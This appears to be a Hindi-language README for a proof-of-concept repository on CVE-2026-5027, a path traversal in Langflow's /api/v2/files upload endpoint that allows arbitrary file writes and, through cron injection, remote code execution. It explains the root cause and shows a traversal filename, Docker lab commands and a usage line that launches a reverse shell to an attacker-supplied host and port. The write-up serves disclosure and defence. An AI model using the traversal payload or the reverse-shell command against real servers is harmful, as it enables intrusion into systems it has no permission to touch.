eqstlab/cve-2026-5027Langflow, Path Traversal के माध्यम से Cron Job Injection द्वारा Remote Code Execution (RCE)
यह पोस्ट EQSTLab द्वारा प्रकाशित एक शोध लेख है।
Yahia Hamza को धन्यवाद, जिन्होंने इस भेद्यता की रिपोर्ट और विश्लेषण किया।
★ CVE-2026-5027 Langflow पाथ ट्रैवर्सल / आर्बिट्रेरी फ़ाइल राइट PoC ★
CVE-2026-5027 : Langflow आर्बिट्रेरी फ़ाइल राइट भेद्यता
विवरण: Langflow <= 1.8.4 में एक पाथ ट्रैवर्सल भेद्यता हमलावरों को /api/v2/files एंडपॉइंट पर भेजे गए क्राफ्टेड मल्टीपार्ट filename के माध्यम से इच्छित अपलोड निर्देशिका के बाहर मनमानी फ़ाइलें लिखने की अनुमति देती है। ऐसे डिप्लॉयमेंट्स में जहाँ ऑटो-लॉगिन सक्षम है या प्रमाणीकरण अन्यथा कमज़ोर रूप से लागू किया गया है, इस समस्या का उपयोग संवेदनशील फ़ाइलसिस्टम स्थानों पर हमलावर-नियंत्रित सामग्री लिखकर रिमोट कोड एक्ज़ीक्यूशन प्राप्त करने के लिए किया जा सकता है।
Docker का उपयोग करके कमज़ोर वातावरण बनाएँ और चलाएँ:
docker build -t cve-2026-5027 .
docker run --rm -it -p 9013:9013 --name cve-2026-5027 cve-2026-5027
# Proof of concept (writes test file to /tmp/)
python3 CVE-2026-5027.py -t <TARGET>
# Reverse shell via cron job
python3 CVE-2026-5027.py -t <TARGET> --lhost <YOUR_IP> --lport 4444
कमज़ोर एंडपॉइंट
POST /api/v2/files
समस्या इसलिए मौजूद है क्योंकि अपलोड कार्यक्षमता क्लाइंट द्वारा प्रदान किए गए मल्टीपार्ट filename मान पर भरोसा करती है। सुरक्षित सर्वर-साइड स्टोरेज नाम उत्पन्न करने या हल किए गए पथ को समर्पित अपलोड निर्देशिका तक सीमित रखने के बजाय, कमज़ोर कोड पथ ../ जैसे ट्रैवर्सल अनुक्रमों को अंतिम गंतव्य पथ को प्रभावित करने की अनुमति देता है।
परिणामस्वरूप, एक हमलावर इच्छित स्टोरेज रूट से बाहर निकल सकता है और एप्लिकेशन को सर्वर फ़ाइलसिस्टम पर मनमाने स्थानों पर फ़ाइलें लिखने के लिए मजबूर कर सकता है।
एक प्रतिनिधि शोषण प्रवाह इस प्रकार है:
/api/v2/files पर एक मल्टीपार्ट अपलोड अनुरोध सबमिट करें।filename प्रदान करें।यह मूल रूप से एक CWE-22: Improper Limitation of a Pathname to a Restricted Directory समस्या है।
यह सुरक्षा दोष अपलोड हैंडलिंग के दौरान उपयोगकर्ता-नियंत्रित फ़ाइल पथों के अपर्याप्त सैनिटाइज़ेशन और सत्यापन के कारण होता है। एप्लिकेशन क्लाइंट के मूल फ़ाइलनाम को स्वीकार करता है और उसे पर्याप्त रूप से पथ सामान्यीकरण और कंटेनमेंट लागू किए बिना स्टोरेज वर्कफ़्लो में पास करता है।
रक्षात्मक दृष्टिकोण से, खतरनाक पैटर्न अवधारणात्मक रूप से निम्नलिखित के समान है:
save_path = base_dir / file.filename
यदि file.filename में पाथ ट्रैवर्सल घटक शामिल हैं जैसे:
../../../../tmp/poc.txt
तो अंतिम हल किया गया पथ base_dir के बाहर इंगित कर सकता है, जिससे मनमानी फ़ाइल लेखन संभव हो जाता है।
मनमानी फ़ाइल लेखन भेद्यताएँ अक्सर मानक असीमित अपलोड समस्याओं से अधिक गंभीर होती हैं क्योंकि हमलावर न केवल फ़ाइल सामग्री को नियंत्रित करता है, बल्कि गंतव्य पथ को भी नियंत्रित करता है। Langflow प्रक्रिया के रनटाइम विशेषाधिकारों के आधार पर, यह सक्षम कर सकता है:
+-------------------------------------------+
| Attacker |
+-------------------------------------------+
|
| Obtain access token
| or abuse auto-login
v
+-------------------------------------------+
| Langflow /api/v2/files |
+-------------------------------------------+
|
| Crafted multipart filename
| (../ directory traversal)
v
+-------------------------------------------+
| Arbitrary File Write (Outside Upload Dir) |
+-------------------------------------------+
|
| Write to sensitive location
v
+-------------------------------------------+
| Potential Remote Code Execution |
+-------------------------------------------+
यह रिपॉजिटरी Langflow इंस्टेंसों के अनधिकृत शोषण को सुविधाजनक बनाने के लिए नहीं है। इस परियोजना का उद्देश्य सुरक्षा शोधकर्ताओं, रक्षकों और डेवलपर्स को भेद्यता को समझने, नियंत्रित वातावरण में जोखिम को मान्य करने और प्रभावी शमन उपायों को लागू करने में मदद करना है।
https://www.tenable.com/security/research/tra-2026-26
https://www.cve.org/CVERecord?id=CVE-2026-5027